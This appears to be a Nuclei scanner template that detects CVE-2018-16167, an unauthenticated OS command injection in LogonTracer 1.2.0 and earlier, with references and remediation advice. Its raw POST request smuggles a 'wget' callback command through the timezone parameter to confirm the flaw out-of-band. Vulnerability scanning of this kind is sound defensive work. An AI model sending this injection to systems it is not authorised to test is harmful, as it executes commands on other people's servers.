id: CVE-2018-16167 info: name: LogonTracer <=1.2.0 - Remote Command Injection author: gy741 severity: critical description: LogonTracer 1.2.0 and earlier allows remote attackers to execute arbitrary OS commands via unspecified vectors. remediation: | Upgrade LogonTracer to a version higher than 1.2.0. reference: - https://www.exploit-db.com/exploits/49918 - https://nvd.nist.gov/vuln/detail/CVE-2018-16167 - https://jvn.jp/en/vu/JVNVU98026636/index.html - https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.1 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-16167 cwe-id: CWE-78 epss-score: 0.18435 epss-percentile: 0.95693 cpe: cpe:2.3:a:jpcert:logontracer:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: jpcert product: logontracer tags: rce,oast,edb,cve,cve2018,logontracer,intrusive http: - raw: - | POST /upload HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded logtype=XML&timezone=1%3Bwget+http%3A%2F%2F{{interactsh-url}}%3B matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - http # digest: 4a0a0047304502202a95f94166ec2c0bd4d8067e66238af12d23d5d394485f81acede1a6d1fcf1de022100a4dd2956cdf9ceff16d6073cde3fca707d1fc499838eaaef9d8326440f40f770:922c64590222798bb761d5b6d8e72950